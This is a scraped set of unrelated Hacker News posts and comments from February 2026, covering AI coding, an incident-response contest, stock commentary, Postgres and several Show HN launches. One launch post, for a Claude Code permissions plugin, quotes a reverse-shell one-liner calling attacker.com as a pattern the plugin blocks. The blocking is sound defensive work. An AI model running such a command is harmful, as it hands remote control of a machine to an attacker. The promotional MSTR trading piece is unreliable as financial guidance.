MurphyA/hacker-news huggingface dataset:
by chiehminwei | 2026-02-06 06:38:56+00:00
We're hosting a live incident response competition this Saturday, 1-1:45pm PST.

2 rounds, 2 incidents. You get access to real telemetry, a GitHub repo, and Confluence docs. Your job: find the root cause, present evidence, propose mitigation.

Fastest correct diagnosis wins. 3 prizes ($100/$75/$50 Amazon gift cards).

At the end we'll reveal how our open-source AI SRE (https://github.com/incidentfox/incidentfox) performed on the same incidents. Only humans eligible for prizes.

Basically a CTF for incident response. If you've ever wanted to prove you can debug faster than AI, here's your chance.

To sign up, join our Slack: https://join.slack.com/t/incidentfox/shared_invite/zt-3ojlxv...

Hope to see you there!
by simianwords | 2026-02-06 06:39:39+00:00
>There's a major inconsistency here. You're consistently claiming that other people don't understand poverty, and yet you essentially made the point that you're not poor ("those people have lower IQ"). So either you started off poor and then worked your way up via some route that's obviously not this job, or you haven't experienced it either, or you are actually poor and aren't doing this work. Which is it?

Have you considered that I have more knowledge of poverty, not because I have experienced it, but because I have spent time understanding it?

> You haven't provided any evidence. If you can prove the suicide rate is higher for these farmers, you may have a point, but even then, the suicide rate does not necessarily have any bearing on the overall rate of happiness. It's possible that a bigger majority are happier farming, but a small minority are pushed more inexorably towards suicide. Perhaps that isn't true either. We simply don't know without evidence.

You didn't understand the point I was trying to make.

Lets make it clear here: people are either unhappy because of material poverty like lack of money/food or because of higher level needs like love, safety and in this case - not watching abusive videos (so ridiculous that I even have to compare this).

Do you genuinely want to challenge me in claiming that people are more unhappy by watching abusive videos than because of material poverty? Really?

>Having more money is very good. Psychological damage is very bad. Your point is that psychological damage doesn't matter and having more food is all that matters. Okay, so should you send your child off to fight for a warlord if it means they have more food? Please try to grasp that's there's nuance.

Yes I would? The actual equivalent here is that the child does not have other means of earning and would go hungry. And that fighting for the warlord is overall good for the society. In that case its obvious. Are you this naive to not understand that this is _exactly_ why you have an army in your country? Why do you think people become soldiers? You are so naive and stick to moral grandstanding that you have not even grasped why people work.

I have asked you the third (I think) time now. What would you rather do if you were in the woman's situation? You have conveniently ignored it.

Pray tell me, what is the best choice for the woman to make? I have made it clear that I would have done the same thing. I actually think there's a reason why you ignored this question. By answering it, you would clearly admit that

1. this is the best choice she can take

2. this job has to be done by someone anyway so its net benefit to society

3. this means the overall story is a net positive for everyone and your moral grandstanding has no place here
by drzaiusx11 | 2026-02-06 06:39:47+00:00
As someone that has already had to "rescue" several of those oft-praised "AI-first" projects you hear all about, I can safely say this: "It's not going super well."

The LLM-produced code I've seen thus far (from moderate feature PRs up to and including entire services), tends twords 'too large' or 'too complex' to properly vet by their small team of creators; PRs against existing codebases are often riddled with minor, seemingly unrelated changes or worse: large and/or subtle test suite alterations that "all pass" but contain hidden assumptions in conflict with reality and your business requirements. Numerous edge cases go entirely missed, overly trivial things are validated instead, etc. Feedback loops with the system certainly improves output but is frustrating and in many cases no faster than just writing the code yourself. At this stage you still need a human in the loop, unless you're still in the earliest stages of building a product. This being HN I'm sure someone around here is employing LLMs successfully in those cases, but the story for established orgs tends to be more complex, especially in traditionally risk averse fields like healthcare, billing, credit card processing, defense, etc. All fields I've worked in.

The sheer amount of code these LLM systems produce in aggregate means that we have a deficit of cognitive spoons across our orgs to properly review and test all these changes that are being pumped out. In other words: more bugs end up getting found in the field instead of earlier because we're allowing our generators to validate themselves due to resource constraints.

Can we produce code faster than ever before? Sure, but that was never the real bottleneck to begin with, at least in the orgs that I've operated within the past 2 decades.

To me, every new line of code needs an inherent justification for its existence. Code is often as much a liability as it is an asset. Think on several axis like risk of security vulnerabilities or cognitive load limits when no one left in your org understands your vibe-coded system anymore, as it grows more unwieldy by the day. The business value of new code being introduced should outway its (not so) hidden cost of maintenance and risk of business disruption. With today's emphasis on using LLM output for "moving faster", we seem to be ignoring that critical risk/reward analysis and operating under the incorrect assumption that more code is universally a good thing.

So for the moment I'm just using LLMs for "rubber ducking" or spitballing/testing out ideas before committing to a course of action; an action that will ultimately get executed by a human in the short term at least.

That said, on a good day my AI can serve as a proxy for a semi-competent software engineer (with amnesia), and no worse than an actual rubber duck on the others.

(note that the above statements are my own personal observations and are not intended to represent or express any statement or opinion held by my employer, etc, etc.)
by EvansWilson | 2026-02-06 06:41:49+00:00
MicroStrategy (MSTR) has become the de facto proxy for Bitcoin on Wall Street. But while the "HODL" sentiment is roaring on social media, a look under the hood at the executive level tells a more nuanced story. If you’ve been watching the stock's parabolic moves, you need to see what’s happening behind the scenes.

Decoding the MSTR Insider Trading Chart

When we analyze the MSTR insider trading Chart from the past year, one trend stands out like a sore thumb: a massive wave of "Sell" signals. Since early 2024, top-tier insiders—most notably Executive Chairman Michael Saylor—have been consistently offloading shares.

But before you hit the panic button, let’s look at the context provided by the MSTR insider trading Chart. According to 13Radar and SEC filings, Saylor exercised stock options that were set to expire, selling thousands of shares daily over a four-month period. This wasn't a sudden "exit" because he lost faith in Bitcoin; it was a pre-planned strategy to manage personal liquidity and potentially buy even more BTC personally.

However, for a retail investor, seeing a chart dominated by red (selling) while the stock price is at multi-year highs can be jarring. It raises the ultimate question: Are the insiders locking in "generational wealth" because they sense a local top?

The "Smart Money" vs. The "True Believers"

Institutional Shifts
It’s not just the insiders. Recent "Guru" data shows a tug-of-war. While some institutional heavyweights have increased their positions by over 20%, others are trimming. This divergence suggests that MSTR has moved from a "hidden gem" to a high-stakes battleground for volatility traders.

Why the Selling Might Be "Noise"
In the tech world, insider selling is often just a part of the compensation cycle. For MicroStrategy, the stock's performance is tied 1:1 with Bitcoin's treasury strategy. As long as the "Bitcoin Yield" remains positive and the company continues to accretively acquire more BTC, the executive sell-offs might just be a distraction from the bigger picture.

The Verdict: Should You Follow the Insiders?

The takeaway from the MSTR insider trading Chart is clear: Insiders are taking profits, but they aren't abandoning ship. For investors, this volatility is a feature, not a bug.

If you’re trading MSTR, don’t just watch the BTC price—keep an eye on the pace of these filings. If we see a shift from "planned sales" to "unplanned exits," that’s when the story changes. For now, it’s Michael Saylor’s world; we’re all just living in it.
by raffraffraff | 2026-02-06 06:42:23+00:00
How the hell is it possible that they're still using the ATI domain and HTTP 2026? They acquired ATI 20 fucking years ago.

It really makes you wonder what level of dysfunction is actually possible inside a company. 30k employees and they can't get one of them to hook up certbot, and add an 's' to the software.
by potsandpans | 2026-02-06 06:42:36+00:00
My opinion: you are critiquing electricity because the candles are still better / more affordable / more honestly made.

You seem to be mad that companies are in the business of selling us things. It's the way this whole thing works.

If you don't think this is impressive: stop everything you're doing and go make a c compiler that can build the Linux kernel.
by thesz | 2026-02-06 06:42:43+00:00
> the huge gains in coding performance in the past year have come from RL, not from new sources of training data.

This one was on HN recently: https://spectrum.ieee.org/ai-coding-degrades

Author attributes past year's degradation of code generation by LLMs to excessive use of new source of training data, namely, users' code generation conversations.
by jonjacky | 2026-02-06 06:44:30+00:00
> I'm not sure what you mean by "coincidence" or "accident" here.

I mean Unix had to be written in C, not in, say, Algol or PL/I or BLISS, high-level languages used to write other operating systems.

I also meant that the features of C were not put there by impulse or whim, they were the outcome of considered decisions guided by the specific needs of Unix.
by deng | 2026-02-06 06:44:41+00:00
The log viewer thing is what baffles me most.

Back in... I don't know, 2010, we used Jenkins. Yes, that Java thingy. It was kind of terrible (like every CI), but it had a "Warnings Plugin". It parsed the log output with regular expressions and presented new warnings and errors in a nice table. You could click on them and it would jump to the source. You could configure your own regular expressions (yes, then you have two problems, I know, but it still worked).

Then I had to switch to GitLab CI. Everyone was gushing how great GitLab CI was compared to Jenkins. I tried to find out: how do I extract warnings and errors from the log - no chance. To this day, I cannot understand how everyone just settled on "Yeah, we just open thousands of lines of log output and scroll until we see the error". Like an animal. So of course, I did what anyone would do: write a little script that parses the logs and generates an HTML artifact. It's still not as good as the Warnings Plugin from Jenkins, but hey, it's something...

I'm sure, eventually someone/AI will figure this out again and everyone will gush how great that new thing is that actually parses the logs and lets you jump directly to the source...

Don't get me wrong: Jenkins was and probably still is horrible. I don't want to go back. However, it had some pretty good features I still miss to this day.
by standfest | 2026-02-06 06:44:49+00:00
Agree that “data realism” is the quiet differentiator in mature visual generation domains.

Floor plans / technical drawings feel a lot less mature though — we don’t really have generators that are “good” in the sense that they preserve the constraints that matter (scale, closure, topology, entrances, unit stats, cross-floor consistency, etc.). A lot of outputs can look plausible but fall apart the moment you treat them as geometry for downstream tasks.

That’s why I’ve been pushing the idea that simplistic generators are kind of doomed without a context graph (spatial topology + semantics + building/unit/site constraints, ideally with environmental context). Otherwise you’re generating pretty pictures, not usable plans.

Also: I’m a bit surprised how few researchers have used these datasets for basic EDA. Even before training anything, there’s a ton of value in just mapping distributions, correlations, biases, and failure modes. Feels like we’re skipping the “understand the data” step far too often.
by lfittl | 2026-02-06 06:45:19+00:00
Thanks for posting! There is a hand-edited transcript here as well, for those who prefer text: https://pganalyze.com/blog/5mins-postgres-19-better-planner-...

And, its noted in the video/transcript, but for clarity: This is talking about new extensibility in Postgres 19 that makes it easier to do Postgres planner hints / plan management extensions.

The patch that was committed is part of a larger proposal (pg_plan_advice) which, if it ends up being committed, would add a version of planner hints to Postgres itself (in contrib). It remains to be seen where that goes for Postgres 19.
by vintermann | 2026-02-06 06:46:51+00:00
"There are two kinds of politicians, insiders and outsiders. The outsiders prioritize their freedom to speak their version of the truth. The price for their freedom is that they are ignored by the insiders, who make the important decisions. The insiders, for their part, follow a sacrosanct rule: never turn against other insiders and never talk to outsiders about what insiders say or do. Their reward? Access to inside information and a chance, though no guarantee, of influencing powerful people and outcomes." -- Larry Summers, according to Yanis Varoufakis in "Adults in the Room"

It sounds a bit cartoon villainy, but honestly, I see no reason to doubt that he said this. Everything points to these people being casually desperate to be let into ever innermore circles. Even now that this particularly ugly circle is blown open, notice that they still simply do not talk about what their fellow insiders did except in vague generalities.
Show HN: Hive Agent – Embed Claude Code-like AI agents in your app
by anetrebskii | 2026-02-06 06:47:53+00:00
Hey HN,

I've been building with Claude Code daily and kept thinking: what if I could give my users the same experience — an AI agent that explores context, plans, executes tools, and builds things — but embedded natively in my own application?

So I built *Hive Agent*, an open-source TypeScript framework that reproduces the core Claude Code architecture as a library you can integrate into any app.

*What it does:*

- *Workspace system* — Give the agent any context via a virtual filesystem. Feed it your user's data, project files, API responses — whatever your app needs. The agent reads, writes, and searches through it using bash-like commands.
- *Built-in Explore & Plan agents* — Just like Claude Code, Hive auto-spawns sub-agents to investigate workspace data before acting and to design step-by-step plans for complex tasks.
- *Sub-agent orchestration* — Spawn specialized agents with different models (Claude, OpenAI), different tools, and structured I/O. A research agent can use GPT-4, while the main agent uses Claude.
- *Custom tools* — Define any tool your app needs. API calls, database queries, browser automation, document generation — the agent calls them as needed.
- *Stateless & serverless-ready* — No persistent state. Works in Firebase Functions, Vercel, AWS Lambda. Pass history in, get history out.
- *Execution tracing & cost tracking* — Full hierarchical traces with per-model token usage and cost breakdown.
- *Interactive mode* — Agent can pause and ask clarifying questions, just like Claude Code does.

*What you can build with it:*

- AI coding assistants scoped to your platform
- Document generators that understand your users' context
- Project scaffolding tools
- Support agents with access to your internal APIs
- Any workflow where an AI needs to explore data, plan, and act

*Quick example:*

```typescript
import { Hive, ClaudeProvider } from '@alexnetrebskii/hive-agent'

const agent = new Hive({
systemPrompt: 'You are a project generator...',
tools: [myApiTool, myDbTool],
llm: new ClaudeProvider({ apiKey: process.env.ANTHROPIC_API_KEY }),
workspace: new Workspace({
paths: { 'user/requirements.json': { value: userReqs } }
})
})

const result = await agent.run('Create a new project based on my requirements')
```

The agent will explore the workspace, plan the approach, create files, call your tools — all autonomously.

*Links:*

- GitHub: https://github.com/anetrebskii/hive-agent
- Install: `pnpm add @alexnetrebskii/hive-agent`
- MIT licensed

I'd love feedback from anyone building agent-powered features. What tools or patterns would you want built-in? Try it out and let me know what breaks.
by xvector | 2026-02-06 06:48:20+00:00
I work for a big tech company, most of our code today is written by agents. This includes backend infra and frontend app/UX code.

It satisfies your relevant criteria: LLM-written, reliable, non-trivial.

No major program is perfectly reliable so I wouldn't call it that (but we have fewer incidents vs human-written code), and "useful" is up to the reader (but our code is certainly useful to us.)
Show HN: Dangerously-skip-permissions IFF it doesn't WRITE outside Sandbox
by ashwinr2002 | 2026-02-06 06:48:22+00:00
Permission prompts are noisy if a command’s damage radius is limited to a sandbox.

I wanted to be asked for approval iff it’d make changes in external environments or talk to a network.

I built a Claude Code plugin that: (https://postimg.cc/crvWLNRR)

1) Always prompts for “write-external” commands (db updates, API calls, remote writes), e.g. scp, curl -X POST, git push, sqlite3 etc.

2) Blocks known malware patterns like reverse shell patterns (bash -i >& /dev/tcp/attacker.com/4444 0>&1) or writing to a Dotfile

It uses a PreTool hook to lookup the command before execution from a “write-external” registry. If its missing, a haiku model reads its man / --help pages and updates registry with usage patterns where external writes can happen.

To make manual changes to a registry, you can prompt Claude to “mark mytool as safe“ or “add curl to always ask“.
by BoredGuyAtWork | 2026-02-06 06:50:33+00:00
I loved the Foundation series and Isaac Asimov was definitely my most read science fiction author as a kid, but damn - my estimation of Asimov as a man just fuckin plummeted. He comes across like a whiny nerd. He's upset that 1984 gets such acclaim in "his" area of expertise, science fiction. And how dare this non science fiction guy step foot in his domain. If 1984 weren't set in the future, he wouldn't have any gripes with it, I'm sure.

The one thing Asimov gives Orwell credit for is predicting that there would be three separate great powers? Like, what? The other nations don't matter at all. We're not even sure they really exist or not. Or how he complains that Orwell used a missile strike, instead of calling it what, a 2X00 Plasma Fueled Missile Strike? It's not about the missile strike. It's about the fear the missile strike incites into people. People afraid are easy to control.

Or about how the warring nations didn't use nukes. Like, there's no way Asimov didn't understand that it was probably not even the other nations that were responsible, but rather the party itself, right? But that's what it sounds like. It reminds me of how in the Foundation series, one of the characters has an "atomic" wristwatch. Like, you can tell that Asimov thought that would be possible in the future and would be cool, and just had to include it. But really, who cares. As if cool gadgets or what people might use in the future is what makes or breaks science fiction. Not to mention how outdated an atomic watch feels now.

Asimov had great ideas, but his actual writing ability doesn't hold a candle to George Orwell's. Orwell was a true literary master. Asimov was a very creative scientist, with a lot of ideas in his head, and he successfully put them to paper.
by RyanMu | 2026-02-06 06:50:51+00:00
Hi HN,

I’m an AI builder working on tools for researchers and AI scientists.

One problem I kept hearing: creating publication-ready figures and diagrams for papers is still incredibly time-consuming. Many researchers spend hours drawing methodology diagrams, model structures, and experiment charts manually.

So I built PaperBanana:
https://www.paperbanana.xyz/

It’s an AI-powered tool that helps generate academic illustrations — including methodology diagrams, concept frameworks, and research visuals — designed to be closer to publication-ready quality rather than just “pretty images”.

What it tries to focus on:
- clarity and logical correctness
- consistent layout and academic-style visuals
- faster iteration from rough idea → usable figure

I’m still early and actively improving the product.
Would really appreciate feedback from researchers, builders, and anyone working on technical writing or papers.

Questions I’m especially curious about:
- What part of making research figures is most painful for you?
- Would you trust AI-generated academic visuals?
- What workflows should this integrate with (LaTeX, Overleaf, Notion, etc.)?

Happy to answer any questions — thanks for taking a look
by uecker | 2026-02-06 06:50:56+00:00
There is also still a lot of low-level proprietary code developed in C. I would guess far more than what is developed in Rust.

I fully agree about your last point. The proposed solutions to some of the deficiencies of C are sometimes worse than the disease while its benefits are often exaggerated, at the same time adding unnecessary layers of complexity that will haunt us for decades. In contrast, my hope would be to to carefully revise the things we have, but this takes time and patience.
by pran21 | 2026-02-06 06:50:58+00:00
(Summer 2026 internships)

Location: San francisco, CA

Remote: ye

Willing to relocate: anywhere in CA

Technologies: Python, Swift, C++, SQL (PostgreSQL, SQLite), TypeScript, Nginx, Linux

Resume: https://drive.google.com/file/d/1x4HreoenO-NtgllEGe14atzOdqc...

Email: pranjaladhikarip5@gmail.com

github: github.com/PranAD-dev
by stroebs | 2026-02-06 06:51:25+00:00
I’m a fairly heavy user of the JFrog platform with Enterprise+, Xray, their new Curation license, and my org is spending in excess of $500k/year on Artifact storage. Not including my time babysitting it. I’d love to see the end of it, and I hope you manage to build a community around this.

Part of the reason we pay the big license fee is so we have someone to turn to when it inevitably breaks because we’ve used it in a way nobody has before. In Jan last year we were using 30TB of artifact storage in S3. That’s 140TB today.

Where do you get your CVE data? Would built artifacts have their CVEs updated after the fact? Do you have blocking policies on artifacts based on CVEs, licenses, artifact age, etc?